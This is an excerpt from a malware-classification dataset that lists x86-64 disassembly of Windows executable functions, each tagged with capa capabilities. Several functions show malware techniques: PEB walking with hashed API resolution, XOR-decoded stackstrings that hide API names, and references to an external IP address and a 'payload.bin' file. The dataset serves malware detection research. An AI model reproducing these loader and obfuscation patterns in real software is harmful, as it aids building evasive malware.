joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011b40
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14001c050]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x28], 0x24
mov eax, dword [0x140025590]
mov dword [rsp + 0x2c], eax
mov dword [rsp + 0x30], 0x1c
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x34], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x3c], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x44], rax
mov r9, qword [rsp + 0x44]
mov r8, qword [rsp + 0x3c]
mov rdx, qword [rsp + 0x34]
lea rcx, [0x140018320]
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [0x14001c468]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x28]
mov rax, qword [rsp + 0x20]
call qword [0x14001a3d0]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140014890
add rsp, 0x68
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
add rax, rdx
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021

Function at 0x140001f48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001f92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001f92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001f92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f92
cmp dword [rcx + 0x84], 0xe
jbe 0x140001f92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f94
xor al, al
add rsp, 0x28
ret
Function at 0x140001150
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test eax, eax
jle 0x140001178
movzx ebx, ax
or ebx, 0x80070000
xor esi, esi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rsi
mov r9d, 0x409
mov dword [rsp + 0x28], esi
mov r8d, ebx
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0x1100
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edi, eax
test eax, eax
je 0x1400011dd
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x1400011dd
mov rdx, qword [rsp + 0x58]
lea r9, [rsp + 0x50]
mov r8d, edi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400011ed
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rsi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140001200
Capabilities:
Terminate process

Disassembly:
push rbx
push rdi
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 0x78]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x140001235
xor edi, edi
mov qword [section..data], rdi
jmp 0x140001311
mov qword [rax], rbx
mov dword [rax + 8], 8
mov qword [rax + 0x10], pe_nt_image_headers64
mov qword [rax + 0x18], rax
add rax, 0x20
mov qword [section..data], rax
je 0x140001311
lea rdx, [rsp + 0x60]
call fcn.140003b80
test eax, eax
je 0x140001311
movzx ecx, word [rsp + 0x60]
lea rdx, [rsp + 0x68]
call fcn.140003c30
test eax, eax
je 0x140001311
mov qword [rsp + 0x70], rbp
xor edi, edi
mov rbp, qword [rsp + 0x68]
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x40], r14
mov r14d, 0xa
mov esi, r14d
mov ebx, r14d
nop word [rax + rax]
lea rcx, [rsp + 0x60]
mov r8d, ebx
mov qword [rsp + 0x30], rcx
lea eax, [rdi + 0x100]
mov rcx, rbp
mov dword [rsp + 0x28], eax
mov edx, esi
call fcn.140003e00
add ebx, 0x22
lea eax, [rsi + 0xe6]
cmp ebx, 0x190
mov edx, ebx
cmovg ebx, r14d
inc rdi
cmp edx, 0x190
cmovle eax, esi
mov esi, eax
cmp rdi, 0x11
jl 0x1400012b0
mov r14, qword [rsp + 0x40]
mov rcx, rbp
mov rsi, qword [rsp + 0x78]
call fcn.140003cb0
mov rbp, qword [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1401f2ec0]
xor rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x69
xor ebx, ebx
mov dword [rbp - 0x40], 0x607051f
lea ecx, [rax - 0x15]
mov word [rbp - 0x2c], ax
mov eax, VarBstrFromDisp
mov word [rbp - 0x22], ax
mov eax, VarBstrFromDisp
mov word [rbp - 0x18], cx
mov dword [rbp - 0x3c], 0x3f24353c
mov dword [rbp - 0x38], 0x260649
mov dword [rbp - 0x30], 0x6c0048
mov word [rbp - 0xe], ax
mov dword [rbp - 0x2a], 0x48004e
mov dword [rbp - 0x26], 0x540041
mov dword [rbp - 0x20], 0x630039
mov word [rbp - 0x1c], bx
mov dword [rbp - 0x16], 0x6e0065
mov dword [rbp - 0x12], 0x650063
mov dword [rbp - 0xc], 0x74
mov ecx, ebx
lea rdx, [rbp - 0x40]
lea r8d, [rbx + 0xb]
cmp word [rbp + rcx*2 - 0x30], bx
cmove rcx, rbx
inc rdx
movzx eax, byte [rbp + rcx*2 - 0x30]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001093
mov rcx, qword [0x1401ffe18]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x18]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], ebx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140143ca0
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret

Function at 0x1400010f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1401f2ec0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, qword [0x1401ffe20]
mov eax, 0x69
xor ecx, ecx
mov word [rbp - 0x20], ax
mov eax, 0x4a
mov dword [rbp - 0x30], 0x2f29233e
mov word [rbp - 0x1e], ax
mov eax, 0x47
mov dword [rbp - 0x2c], 0x1000445
mov word [rbp - 0x1c], ax
mov eax, 0x67
mov dword [rbp - 0x28], 0x2f070835
mov word [rbp - 0x1a], ax
mov eax, 0x31
mov word [rbp - 0x24], 0x1324
mov word [rbp - 0x18], ax
mov eax, 0x42
mov byte [rbp - 0x22], 0
mov word [rbp - 0x12], ax
mov eax, 0x5a
mov dword [rbp - 0x16], 0x700070
mov dword [rbp - 0xe], 0x66
mov edx, ecx
lea r8, [rbp - 0x30]
lea r9d, [rax - 0x4c]
mov word [rbp - 0x10], ax
nop word [rax + rax]
cmp word [rbp + rdx*2 - 0x20], cx
cmove rdx, rcx
inc r8
movzx eax, byte [rbp + rdx*2 - 0x20]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x140001190
mov rcx, qword [0x1401ffe18]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.43.135.39.104
mov r8d, 0x118
xor r9d, r9d
mov rcx, rbx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140143ca0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x1400011f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1401f2ec0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, qword [0x1401ffe28]
mov eax, 0x65
xor edi, edi
mov word [rbp - 0x20], ax
mov eax, 0x6d
mov dword [rbp - 0x40], 0x4230432
mov word [rbp - 0x1e], ax
mov eax, 0x4d
mov dword [rbp - 0x3c], 0x2040061c
mov word [rbp - 0x1c], ax
mov eax, 0x4c
mov dword [rbp - 0x38], 0x3f0b3447
mov word [rbp - 0x1a], ax
mov eax, 0x68
mov dword [rbp - 0x34], 0x171d3d28
mov word [rbp - 0x18], ax
mov eax, reloc.OLEAUT32.dll_VarBstrFromDisp
mov word [rbp - 0x30], 0x1b43
mov word [rbp - 0x16], ax
mov eax, 0x30
mov byte [rbp - 0x2e], 0
mov word [rbp - 0x14], ax
mov eax, VarBstrFromDisp
mov dword [rbp - 0xe], 0x51
mov word [rbp - 0x12], ax
mov eax, 0x37
mov dword [rbp - 0x24], 0x54
mov word [rbp - 0x10], ax
mov eax, 0x47
mov edx, edi
mov word [rbp - 0x28], ax
mov eax, 0x45
lea r8, [rbp - 0x40]
mov word [rbp - 0x26], ax
lea r9d, [rdi + 0x12]
nop dword [rax]
cmp word [rbp + rdx*2 - 0x20], di
cmove rdx, rdi
inc r8
movzx eax, byte [rbp + rdx*2 - 0x20]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400012c0
mov rcx, qword [0x1401ffe18]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x30], edi
lea r8, str.payload.bin
lea rdx, [rbp - 0x28]
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140143ca0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x140001340
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1401f2ec0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [0x1401ffe30]
mov eax, VarBstrFromDisp
xor edi, edi
mov word [rbp - 0x24], ax
mov eax, 0x50
mov dword [rbp - 0x40], 0x18010422
mov word [rbp - 0x22], ax
mov eax, 0x51
mov dword [rbp - 0x3c], 0x3b053b25
mov word [rbp - 0x20], ax
mov eax, 0x68
mov dword [rbp - 0x38], 0x3f110a1d
mov word [rbp - 0x1a], ax
mov eax, 0x78
mov dword [rbp - 0x34], 0x2a24210a
mov word [rbp - 0x30], 0x1c06
mov byte [rbp - 0x2e], 0
mov dword [rbp - 0x28], 0x6d0075
lea r9d, [rax - 0x66]
mov dword [rbp - 0x1e], 0x75004f
mov word [rbp - 0x18], ax
mov dword [rbp - 0x16], 0x64
mov edx, edi
lea r8, [rbp - 0x40]
nop
cmp word [rbp + rdx*2 - 0x28], di
cmove rdx, rdi
inc r8
movzx eax, byte [rbp + rdx*2 - 0x28]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400013e0
mov rcx, qword [0x1401ffe18]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140143ca0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140001450
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1401f2ec0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [0x1401ffe30]
mov eax, 0x56
xor ecx, ecx
mov word [rbp - 0x28], ax
mov eax, 0x47
mov dword [rbp - 0x40], 0x24032e01
mov word [rbp - 0x26], ax
mov eax, 0x6d
mov dword [rbp - 0x3c], 0x1d1e3941
mov word [rbp - 0x24], ax
mov eax, 0x6c
mov dword [rbp - 0x38], 0x2e332d0b
mov word [rbp - 0x22], ax
mov eax, 0x35
mov dword [rbp - 0x34], 0x2867091b
mov dword [rbp - 0x30], 0x20013f1d
mov word [rbp - 0x2c], 0x2225
mov byte [rbp - 0x2a], 0
lea r9d, [rax - 0x1f]
mov word [rbp - 0x20], ax
mov dword [rbp - 0x1e], 0x6e004d
mov dword [rbp - 0x1a], 0x6e004f
mov dword [rbp - 0x16], 0x4e
mov edx, ecx
lea r8, [rbp - 0x40]
nop dword [rax]
cmp word [rbp + rdx*2 - 0x28], cx
cmove rdx, rcx
inc r8
movzx eax, byte [rbp + rdx*2 - 0x28]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400014f0
mov rcx, qword [0x1401ffe18]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, rbx
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140143ca0
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret
Function at 0x140001540
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x1401f2ec0]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
mov eax, 0x31
mov rbx, rcx
mov word [rbp + 0xb], ax
mov eax, 0x65
mov dword [rbp - 0x21], 0x1a2302
mov word [rbp + 0xd], ax
mov eax, 0x30
mov dword [rbp - 0x1d], 0x34413136
mov word [rbp + 0xf], ax
mov eax, 0x63
mov dword [rbp - 0x19], 0x33270845
mov word [rbp + 0x33], ax
mov eax, reloc.OLEAUT32.dll_VarBstrFromDisp
mov dword [rbp - 0x15], 0x24362930
mov word [rbp + 0x35], ax
mov eax, 0x54
mov dword [rbp - 0x11], 0x4511370
mov word [rbp + 0x3b], ax
mov eax, VarBstrFromDisp
mov dword [rbp - 0xd], 0x24162b39
mov word [rbp + 0x3d], ax
mov eax, 0x4b
mov word [rbp - 9], 0x27
mov word [rbp + 0x17], ax
mov eax, 0x64
mov dword [rbp - 1], 0x4a0055
mov dword [rbp + 3], 0x480074
mov dword [rbp + 7], 0x450042
mov dword [rbp + 0x11], VarBstrFromDisp
mov word [rbp + 0x25], ax
mov dword [rbp - 0x49], 0x3a0d3c12
mov dword [rbp - 0x45], 0x2224210e
mov dword [rbp - 0x41], 0x11211533
mov dword [rbp - 0x3d], 0x1b0602
mov dword [rbp + 0x2f], 0x550045
mov dword [rbp + 0x37], 0x55007a
mov dword [rbp + 0x3f], 0x740056
mov word [rbp + 0x43], di
mov dword [rbp - 0x39], 0x3c09261c
mov dword [rbp - 0x35], 0x27171239
mov dword [rbp - 0x31], 0x2a380804
mov dword [rbp - 0x2d], 0x223152f
mov word [rbp - 0x29], 0x10b
mov byte [rbp - 0x27], dil
mov dword [rbp + 0x19], 0x67004f
mov dword [rbp + 0x1d], 0x4d0074
mov dword [rbp + 0x21], 0x670066
mov dword [rbp + 0x27], 0x670068
mov word [rbp + 0x2b], di
mov ecx, edi
lea rdx, [rbp - 0x21]
lea r8d, [rdi + 0x19]
nop dword [rax]
cmp word [rbp + rcx*2 - 1], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 - 1]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001690
mov rcx, qword [0x1401ffe18]
lea rdx, [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x49]
mov qword [rbx], rax
mov r8d, 0xf
nop dword [rax]
cmp word [rbp + rcx*2 + 0x2f], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 + 0x2f]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x1400016d0
mov rcx, qword [0x1401ffe18]
lea rdx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x39]
mov qword [rbx + 8], rax
mov r8d, 0x12
nop
cmp word [rbp + rcx*2 + 0x17], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rbp + rcx*2 + 0x17]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001710
mov rcx, qword [0x1401ffe18]
lea rdx, [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140143ca0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140001f60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_712
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x140005dbf
cmp dword [rcx + 0xd8], 0
jne 0x140005dbf
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.14000c9d4
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140005d24
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140001f90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001fc3
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140002006
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140002001
cmp rbx, r11
jae 0x140002006
dec edi
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001ff0
cmp rbx, r11
jb 0x14000200a
xor eax, eax
jmp 0x140002016
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140004714
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x14000478e
xor r8d, r8d
call fcn.140004648
mov rsi, rax
test rax, rax
jne 0x14000474a
mov eax, edi
jmp 0x1400047a4
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
cmove edi, dword [rsp + 0x30]
jmp 0x140004746
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140005c90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov r12, r8
mov rbx, rdx
mov r13, rcx
xor edi, edi
call fcn.14000c9d4
lea r8d, [rdi + 5]
mov rbp, qword [rax + 0x18]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbp
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x140005cec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov r9, rbp
mov r8, r12
mov rdx, rdi
mov rcx, r13
call fcn.140005720
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x140005d80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_712
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x140005dbf
cmp dword [rcx + 0xd8], 0
jne 0x140005dbf
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.14000c9d4
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140005d24
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000ad60
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x14000adc3
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000add7
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000add7
mov rcx, qword [rbx]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
jmp 0x14000addc
cmp dword [rcx + 8], 0
je 0x14000add7
mov rdx, r8
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x14000addc
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14000e4b4
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14001730c
mov rsi, rax
test rax, rax
je 0x14000e530
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14000e52b
cmp dword [rbx], 0x40
jb 0x14000e52b
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x14000e52b
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14000e534
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140015eac
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x140015f14
call fcn.14000c9d4
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140015f14
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140015f36
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140015898
mov esi, eax
test rdi, rdi
je 0x140015f34
test rbx, rbx
je 0x140015f34
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret